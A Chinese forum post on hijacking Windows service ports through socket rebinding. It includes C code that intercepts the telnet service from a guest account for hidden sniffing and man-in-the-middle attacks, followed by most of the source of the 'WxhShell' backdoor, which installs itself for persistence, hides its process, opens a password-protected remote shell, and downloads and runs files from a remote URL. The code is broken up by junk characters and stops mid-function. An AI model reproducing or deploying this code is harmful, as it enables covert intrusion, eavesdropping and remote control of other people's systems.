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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q{!lLka  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qt}vM*0}V  
EuqmA7s8A  
  saddr.sin_family = AF_INET; =/J4(#Xb  
!h7`W*::  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E=w$r  
XZuJ<]}X,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m^h"VH,   
3S:}fPR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B4R!V!Z*  
uJMF\G=nb  
  这意味着什么?意味着可以进行如下的攻击: Kwfrh?  
iwCnW7:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "j3Yu4_ks  
*%'4.He7V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q<zL;AJ  
ExI?UGT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zY(*Xk  
N{iBVl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VZF/2d84&w  
Gu~y/CE'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q#I/N$F  
E3.=|]W'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hT^6Ifm  
sU4(ed\gI\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <!K2xb-d^  
x 3#1  
  #include 5|x FY/%  
  #include k\Oy\z@  
  #include q NU\XO`H  
  #include    s>~!r.GC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8;p6~&).C~  
  int main() H0 km*5Sn  
  { v@`#!iu  
  WORD wVersionRequested; X6!u(plVQ  
  DWORD ret; M\,0<{  
  WSADATA wsaData; B c*Rn3i@  
  BOOL val; 9fvy)kX;s  
  SOCKADDR_IN saddr; x+nrdW+  
  SOCKADDR_IN scaddr; ,\[&%ph  
  int err; ~m[^|w  
  SOCKET s; ,y,NVF  
  SOCKET sc; HV&N(;@  
  int caddsize; ( E&}SI~  
  HANDLE mt; ;_of'  
  DWORD tid;   9Z6] ];8E  
  wVersionRequested = MAKEWORD( 2, 2 ); Ne@Iv)g?  
  err = WSAStartup( wVersionRequested, &wsaData ); +kH*BhSj  
  if ( err != 0 ) { f'aUo|^?  
  printf("error!WSAStartup failed!\n"); 0^]E-Zf  
  return -1; N|z-s  
  } :De}5BMy  
  saddr.sin_family = AF_INET; vC$[Zm  
   fa/ '4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E0>4Q\n{  
-#Yg B5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zbx,qctYo$  
  saddr.sin_port = htons(23); XkCbdb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M=x/PrY"R  
  { {_ww1'|A  
  printf("error!socket failed!\n"); ^g~Asz5]  
  return -1; p44d&9  
  } ~ra2Xyl  
  val = TRUE; @&S4j]rq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \5k[ "8~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y@TZReb  
  { TPq5"mco  
  printf("error!setsockopt failed!\n"); I &YYw8&  
  return -1; =JOupw  
  } 6t *pV [  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (".`#909  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `;*Wt9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8K]fw{-$L  
IpoZ6DB$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D+LeZBJ  
  { (pH13qU5  
  ret=GetLastError(); MQD UJ^I$  
  printf("error!bind failed!\n"); `U#*O+S-^  
  return -1; K:V_,[gO  
  } ]"q)X{G(+  
  listen(s,2); uz&CUvos  
  while(1) \Z ] <L  
  { @PZ&/F ^  
  caddsize = sizeof(scaddr); z62e4U][  
  //接受连接请求 +Ys<V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sn+i[  
  if(sc!=INVALID_SOCKET) jLI(Z  
  { lHV bn7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pTST\0?  
  if(mt==NULL) {Lk~O)E  
  { 0 4x[@f`  
  printf("Thread Creat Failed!\n"); *["9;_KD  
  break; UVUbxFq:  
  } +%7yJmMw  
  } 62PtR`b >  
  CloseHandle(mt); &AU%3b  
  } XGFU *g`kq  
  closesocket(s);  KY!  
  WSACleanup(); I$n 0aR6  
  return 0; P cnr  
  }   14]!LgH  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9FP6Z[4  
  { ?#<Fxme  
  SOCKET ss = (SOCKET)lpParam; e/r41  
  SOCKET sc; X<x"\Yk  
  unsigned char buf[4096]; n (C*LK  
  SOCKADDR_IN saddr; >O&(G0!N+}  
  long num; R."<he ;  
  DWORD val; y/$WjFj3"  
  DWORD ret; [0lCb"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M+gQN}BAr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rG:IS=  
  saddr.sin_family = AF_INET; G':mc{{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %+L:Gm+^g#  
  saddr.sin_port = htons(23); )p~\lM}?d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E=Ah_zKU  
  { _;O$o t\5  
  printf("error!socket failed!\n"); k v,'9z  
  return -1; A@Z&ZBDg  
  } K,&)\r kzD  
  val = 100; 9jDV]!N4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -n?|,cO  
  { `4'v)!?  
  ret = GetLastError(); _UT>,c;h  
  return -1; 7 }4T)k(a  
  } :2^%^3+V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~= lm91W  
  { RgHPYf{  
  ret = GetLastError(); |qH-^b.F  
  return -1; 0vbn!<:  
  } azr|Fz/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ``nuw7\C:  
  { (x@|6Sb  
  printf("error!socket connect failed!\n"); RI!!?hYm  
  closesocket(sc); MH.,dB&  
  closesocket(ss); $ii/Q:w T"  
  return -1; mQ;b'0&  
  } $iUK, ?  
  while(1) !>TVDN>  
  { Dkay k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [M65T@v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;2(8&.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a9j f7r1  
  num = recv(ss,buf,4096,0); #~^#%G  
  if(num>0) VU J*\Sg  
  send(sc,buf,num,0); a}|B[b  
  else if(num==0) SQDllG84E  
  break; Jt\?,~,  
  num = recv(sc,buf,4096,0); Z*tB=  
  if(num>0) e%uPZ >'q  
  send(ss,buf,num,0); |a%&7-;   
  else if(num==0) (TM1(<j  
  break; N\ChA]Ck  
  } =H%c/Jty  
  closesocket(ss); wS-D"\4/  
  closesocket(sc); OCnQSkj  
  return 0 ; kO{A]LnAH  
  } $ jWe!]ASU  
wb~#=6Y  
L9M0vkgri  
========================================================== yDg`9q.ckm  
{'C PLJ{R  
下边附上一个代码,,WXhSHELL [#`)Bb&w  
qPDe;$J)  
========================================================== 9_)*b  
hm*1w6 =  
#include "stdafx.h" 1v)ur\>R  
|=fa`8m G  
#include <stdio.h> ,#W>E,UU  
#include <string.h> S+ gzl#r  
#include <windows.h> 3B8\r}L  
#include <winsock2.h> JnQ5r>!>3  
#include <winsvc.h> 89e<,f`h  
#include <urlmon.h> fQ33J>  
ad+@2-Y  
#pragma comment (lib, "Ws2_32.lib") %$}aWzQxll  
#pragma comment (lib, "urlmon.lib") aMKi`EW  
o9& 1Ct  
#define MAX_USER   100 // 最大客户端连接数 &o%IKB@  
#define BUF_SOCK   200 // sock buffer >Vc;s !R  
#define KEY_BUFF   255 // 输入 buffer _Cn[|E  
.`*h2  
#define REBOOT     0   // 重启 70hm9b-   
#define SHUTDOWN   1   // 关机 @px2/x  
+AkAMZ"Mg  
#define DEF_PORT   5000 // 监听端口 OZ##x  
 -i*{8t  
#define REG_LEN     16   // 注册表键长度 l&#&}3M  
#define SVC_LEN     80   // NT服务名长度 HjCcfOej  
 #~QkS_  
// 从dll定义API 9>?3FMKdY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]yI~S(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qM%l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UP]X,H~stU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F|9:$Jpw!  
v d A 3  
// wxhshell配置信息 ZyAm:yO  
struct WSCFG { v3>jXf  
  int ws_port;         // 监听端口 f/+UD-@%m  
  char ws_passstr[REG_LEN]; // 口令 zv/owK  
  int ws_autoins;       // 安装标记, 1=yes 0=no o^HzE;L}  
  char ws_regname[REG_LEN]; // 注册表键名 R8ZI}C1  
  char ws_svcname[REG_LEN]; // 服务名 ]$7dkP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y/{&mo1\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K6 D3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *O6q=yg;K:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N;N,5rxV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BO]}E:C9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3>O=d>  
vhsHyb  
}; !<'0 GOl  
KlOL5"3  
// default Wxhshell configuration j !m42  
struct WSCFG wscfg={DEF_PORT, Ew.a*[W''  
    "xuhuanlingzhe", (.D|%P  
    1, RC{|:@]8  
    "Wxhshell", 4l)Q  
    "Wxhshell", ?mM6[\DFoT  
            "WxhShell Service",  3"B$M  
    "Wrsky Windows CmdShell Service", XQW9/AzNf  
    "Please Input Your Password: ", xi3  
  1, A\xvzs.d  
  "http://www.wrsky.com/wxhshell.exe", x ,LQA0  
  "Wxhshell.exe" b@9>1d$  
    }; `]*BDSvE  
(Qf"|3R4  
// 消息定义模块 t^ax:6;"|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !u0|{6U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U_\3preF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Fkq;Q  
char *msg_ws_ext="\n\rExit."; *21foBfqh  
char *msg_ws_end="\n\rQuit."; 0xZX%2E  
char *msg_ws_boot="\n\rReboot..."; 22`N(_  
char *msg_ws_poff="\n\rShutdown..."; &n 1 \^:  
char *msg_ws_down="\n\rSave to "; )$Tcip`  
;`CNe$y   
char *msg_ws_err="\n\rErr!"; :>G3N+A)  
char *msg_ws_ok="\n\rOK!"; ;_]Z3  
P%%[_6<%M  
char ExeFile[MAX_PATH]; A~Uqw8n$\  
int nUser = 0; 85fv])\y  
HANDLE handles[MAX_USER]; Wu:@+~J.h  
int OsIsNt; m`3Mev  
.WeP]dX%:f  
SERVICE_STATUS       serviceStatus; Zcq 4?-&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v8PH(d2{@  
c+_F}2)  
// 函数声明 97XGJ1HI  
int Install(void); B%~D`[~?  
int Uninstall(void); aC9PlKI  
int DownloadFile(char *sURL, SOCKET wsh); W{JNNf6G  
int Boot(int flag); u=mJI*  
void HideProc(void); +|SvJ  
int GetOsVer(void); Hf^Tok^6@]  
int Wxhshell(SOCKET wsl); W5#5RK"uX  
void TalkWithClient(void *cs); `%a+LU2  
int CmdShell(SOCKET sock);  oJ<Wh @  
int StartFromService(void); NEY b-#v  
int StartWxhshell(LPSTR lpCmdLine); ^Ko{#qbl/  
@1p ,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P#8 ]m(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `;'fCO!  
A&dNCB  
// 数据结构和表定义 q1d'L *   
SERVICE_TABLE_ENTRY DispatchTable[] = \K,piCVViN  
{ bM%c*_$F7  
{wscfg.ws_svcname, NTServiceMain}, Xy;!Q`h(  
{NULL, NULL} [u=DAk?8  
}; G0u3*.  
5[1#d\QR  
// 自我安装 jNO8n)a&p  
int Install(void) ~w>Z !RuhT  
{ 1|PmZPKq9n  
  char svExeFile[MAX_PATH]; OP-%t\sj>  
  HKEY key; JN{xh0*  
  strcpy(svExeFile,ExeFile); .x^`y2'U  
guD?~-Q  
// 如果是win9x系统,修改注册表设为自启动 <;?&<qMo,P  
if(!OsIsNt) { Xc^7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q I.*6-(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /_,} o7@t~  
  RegCloseKey(key); JMT?+/Qbu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vu6p l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a%wK[yVp  
  RegCloseKey(key); V r0-/T  
  return 0; 4cO||OsMU  
    } ? 77ye  
  } $B iG7,[#  
} C~5-E{i  
else { `tCOe  
^1%gQ@P  
// 如果是NT以上系统,安装为系统服务 -CTsB)=\,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <IF\;,.c  
if (schSCManager!=0) $=97M.E  
{ vd5"phn 3  
  SC_HANDLE schService = CreateService J{Z-4y  
  ( 0shNwV1zF  
  schSCManager, F C= %_y  
  wscfg.ws_svcname, Wu 71q=  
  wscfg.ws_svcdisp, x+O}RD*G  
  SERVICE_ALL_ACCESS, lRn6Zh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'z#{'`$a  
  SERVICE_AUTO_START, -9S.G  
  SERVICE_ERROR_NORMAL, n9zS'VU  
  svExeFile, VesO/xG<  
  NULL, }G8RJxy  
  NULL, tk^1Ga3  
  NULL, zN\~v  
  NULL, Q7y6</4f  
  NULL RRD\V3C84  
  ); %@! Vx  
  if (schService!=0) ^}2 ie|  
  { u1 uu_*  
  CloseServiceHandle(schService);  X7sWu{n  
  CloseServiceHandle(schSCManager); 'DQp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?80@+y]  
  strcat(svExeFile,wscfg.ws_svcname); Ne]/ sQ0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i\S } aCm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5L<}u` 0J  
  RegCloseKey(key); K/~+bq# +  
  return 0; .P=uR8  
    } JlsRP  
  } ^i{B8]2,  
  CloseServiceHandle(schSCManager); r +] J {k  
} EX>|+zYL  
} F<?e79},`  
{Izg1 N  
return 1; tR5zlm(}  
} 7"f$;CN?~  
m_H$fioha,  
// 自我卸载 }6]V*Kn,  
int Uninstall(void) s)HbBt-  
{ #R|M(Z">q  
  HKEY key; n=RAE^[M  
r^P}xGGK  
if(!OsIsNt) { {6<7M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NQ<~$+{  
  RegDeleteValue(key,wscfg.ws_regname); +G&h  
  RegCloseKey(key); b?oT|@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }>xgzhdT  
  RegDeleteValue(key,wscfg.ws_regname); {KL<Hx2M  
  RegCloseKey(key); Do(7LidC5  
  return 0; 2 G_*Pqc  
  } J p .wg  
} 1!\!3xaV  
} gQ h0-Dnw  
else { >TsJ0E?3x  
',0~\V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UD*#!H  
if (schSCManager!=0) !EM21Sc  
{ `QR2!W70o3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +[r%y,k  
  if (schService!=0) i~z:Fe{  
  { UTUIL D  
  if(DeleteService(schService)!=0) { +D4Nu+~BSN  
  CloseServiceHandle(schService); /-$`GT?l  
  CloseServiceHandle(schSCManager); .c"UlOZ&w^  
  return 0; N|Ua|^  
  }  | qHWM  
  CloseServiceHandle(schService); V#!ypX]AB[  
  } 44?5]C7  
  CloseServiceHandle(schSCManager); h^>kjMM  
} X3]E8)645N  
} KLq u[{y.'  
% @Ks<"9  
return 1; pP?J(0Q~  
} +M@G 8l  
5]; 8  
// 从指定url下载文件 N>Y`>5  
int DownloadFile(char *sURL, SOCKET wsh) *^c4q|G.-  
{ j1YE_U  
  HRESULT hr; HcHfwLin0  
char seps[]= "/"; 2O9dU 5b  
char *token; .2 UUU\/5  
char *file; 'A !Dg  
char myURL[MAX_PATH]; )dF(5,y)  
char myFILE[MAX_PATH]; 30>TxL=&  
gRdE6aIZ  
strcpy(myURL,sURL); 8+gx?pb  
  token=strtok(myURL,seps); AXPUJ?V  
  while(token!=NULL) 9qXHdpb#g"  
  { r'&9'rir2  
    file=token; /l+x&xYD  
  token=strtok(NULL,seps); 0 nWV1)Q0=  
  } wc bs-arH  
YhLtf(r  
GetCurrentDirectory(MAX_PATH,myFILE); <?qmB }Y  
strcat(myFILE, "\\"); f`A  
strcat(myFILE, file); L{^DZg|E  
  send(wsh,myFILE,strlen(myFILE),0); -#gb {vj  
send(wsh,"...",3,0); 8ZG'?A+{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \U !<-  
  if(hr==S_OK) q3NS?t!  
return 0; ^ ?tAt3dMI  
else -&,NM  
return 1; aE#ZTc=  
t s ?b[v  
} ;\<?LTp/r  
7=QV^G  
// 系统电源模块 82J0t}:U  
int Boot(int flag) niy@'  
{ i;)g0}x`  
  HANDLE hToken; ` V^#Sb  
  TOKEN_PRIVILEGES tkp;  _&(ij(H  
+o'. !sRH  
  if(OsIsNt) { x ;Gyo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #mkr]K8A4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )7j"OE  
    tkp.PrivilegeCount = 1; BLaX p0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )&dhE^ O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G~B V^  
if(flag==REBOOT) { ( ?/0$DB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) huKz["]z[  
  return 0; M\v4{\2l0  
} Z:/S@ry  
else { [tD*\\IA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .k*2T<p$rC  
  return 0; (ZEVbAY?i  
} !zJ.rYZ=g`  
  } M;iaNL(  
  else { 3@"VS_;?  
if(flag==REBOOT) { #[KwR\b{:+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X!2|_  
  return 0; <BU|?T6~  
} $s]@%6 f  
else { +] 5a(/m.~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w x,;  
  return 0; CIaabn  
} 23OV y^b  
} qFs<s<]  
T=R94  
return 1; /GeS(xzQ  
} ;XtDz  
rSJ}qRXwU  
// win9x进程隐藏模块 P)\f\yb  
void HideProc(void) %qE#^ U  
{  C|lMXp\*  
@2$8o]et  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @<6-uk3S  
  if ( hKernel != NULL ) zp9 ?Ia  
  { Wey\GQ`"8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |1<Z3\+_/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0[i]PgIH  
    FreeLibrary(hKernel); cq=R  
  } lLDHx3+  
785iY865  
return; -qEr-[z  
} Ucy9fM  
XM 7zA^-  
// 获取操作系统版本 Z0:BXtW  
int GetOsVer(void) GbE3 :;JI  
{ 0iB 1_)~  
  OSVERSIONINFO winfo; w[+!c-A:H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wS^-o  
  GetVersionEx(&winfo); nSC>x:jY5/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lz*2wGI9  
  return 1; A+l"  
  else o{hKt?  
  return 0; >I!(CM":s$  
} +O H."4Z  
i~9)Hz;!  
// 客户端句柄模块 4HHf3j!5  
int Wxhshell(SOCKET wsl) z7_./ksQ  
{ 8(I"C$D!k  
  SOCKET wsh; FV9RrI2  
  struct sockaddr_in client; o99 a=x6  
  DWORD myID; w}i.$Qt  
w '"7~uN  
  while(nUser<MAX_USER) P}I*SV0  
{ =ht@7z8QM  
  int nSize=sizeof(client); ?7+ 2i\L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :Rn9rdX  
  if(wsh==INVALID_SOCKET) return 1; ')aYkO{%sb  
{HU48v"W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =3:ltI.'*I  
if(handles[nUser]==0) s^ a`=kO  
  closesocket(wsh); *k}d@j,*"  
else l*u@T|Fc$  
  nUser++;  ?.s*)n  
  } o (zg_!P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k?#6j1pn  
a~|ge9? (  
  return 0; d0^2<  
} '$zFGq }}  
^n]s}t}csV  
// 关闭 socket t]ZSo-  
void CloseIt(SOCKET wsh) qSd $$L^  
{ ^PI49iB  
closesocket(wsh); ]3C8  
nUser--; Qi61(lK  
ExitThread(0); . <B1i  
} e'Pa@]VaC  
i&$uG[&P  
// 客户端请求句柄 8f.La  
void TalkWithClient(void *cs) P33E\O  
{ xlLS`  
:]s] =q&]  
  SOCKET wsh=(SOCKET)cs; AL0Rn e N  
  char pwd[SVC_LEN]; MlZ`g,{  
  char cmd[KEY_BUFF]; kWd'gftQ  
char chr[1]; S(6ZX>wv:  
int i,j; -,dQ&Qf?  
E'G>'cW;x  
  while (nUser < MAX_USER) { YUE[eD/  
_+En%p.m  
if(wscfg.ws_passstr) { ~ #CCRUhM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wO#+8js  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0 *\=Q$Yy  
  //ZeroMemory(pwd,KEY_BUFF); |@BN+o;`Om  
      i=0; q~n2VU4L*  
  while(i<SVC_LEN) { )VT/kIq-U  
sfa'\6=O  
  // 设置超时 4lA+V,#  
  fd_set FdRead; pQNFH)=nw  
  struct timeval TimeOut; "}! rM6 h  
  FD_ZERO(&FdRead); ={^#E?  
  FD_SET(wsh,&FdRead); ^|C|=q~:  
  TimeOut.tv_sec=8; 7,TWCVap  
  TimeOut.tv_usec=0; _LNPB$P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o3=kF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0,/x#  
8GldVn.u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +QX>:z  
  pwd=chr[0]; J~q+G  
  if(chr[0]==0xd || chr[0]==0xa) { 919g5f`  
  pwd=0; l'QR2r7&.  
  break; [Jo TWouNU  
  } <Z' hZ  
  i++; >{a,]q*  
    } YHYB.H)  
n^N]iw{G  
  // 如果是非法用户,关闭 socket M>@R=f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4Z }{hc\J  
} (, "E9.  
Oq6n.:8g"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jm\#($gl=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rzDJH:W{2  
)\vHIXnfJ1  
while(1) { OU@x1G{Cy  
s.'\&B[  
  ZeroMemory(cmd,KEY_BUFF); aUK4{F ;  
e6lOmgHn5  
      // 自动支持客户端 telnet标准   zF&UdS3  
  j=0; 'qAfei']  
  while(j<KEY_BUFF) { RFY!o<   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YS~t d+*  
  cmd[j]=chr[0]; OPW"AB J  
  if(chr[0]==0xa || chr[0]==0xd) { (JW?azU  
  cmd[j]=0; ]0 RXo3  
  break; e"#D){k#  
  } 1m;*fs  
  j++; F|TMpH/  
    } D^55:\4(  
v&2@<I>  
  // 下载文件 DA`sm  
  if(strstr(cmd,"http://")) { Aq%^>YAp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bpa O`[*  
  if(DownloadFile(cmd,wsh)) d~-p;i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  /;6@M=6u  
  else bs EpET  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g)qnjeSs]  
  } + <9 eN  
  else { Ir"Q%>K0f  
x ;,xd  
    switch(cmd[0]) { Uy5!H1u  
  ~h0BT(p/  
  // 帮助 lk1Gs{(qhH  
  case '?': { ;+34g6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _/~ ,a  
    break; 9,f<Nb(\  
  } `(/saq*  
  // 安装 qlITQKGG  
  case 'i': { 6h6?BQSE  
    if(Install()) rw[{@|)'z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U!?gdX  
    else OP`Jc$| 6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e ]o'i;I  
    break; rn:zKTyhw  
    } \UqS -j|  
  // 卸载 4:&qT Y)H  
  case 'r': { 4UD=Y?zK  
    if(Uninstall()) E\~ KVn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aT:AxYn8  
    else Qy5Os?9"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5%?b5(mnD  
    break; "lz[zFnO  
    } ``|RO[+2  
  // 显示 wxhshell 所在路径 o.3YM.B#  
  case 'p': { 2FIR]@MQd  
    char svExeFile[MAX_PATH]; E<Dh_K  
    strcpy(svExeFile,"\n\r"); M*|VLOo=v  
      strcat(svExeFile,ExeFile); 3 t88AN=4  
        send(wsh,svExeFile,strlen(svExeFile),0); ,ah*!Zm.kk  
    break; <2O7R}j7v  
    } [AZ aT  
  // 重启 u}}9j&^Xa  
  case 'b': { ] @)!:<+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -}X?2Q  
    if(Boot(REBOOT)) #CA%]*l*F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H8$<HhuZM  
    else { 8HFXxpt[G  
    closesocket(wsh); kg: uGP9  
    ExitThread(0); R'I_xjC  
    } A ,-V$[;~D  
    break; $HBT%g@UN  
    } G_M:0YI@  
  // 关机 Bhu@ 2KdA  
  case 'd': { xd|~+4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )?B~64N,+  
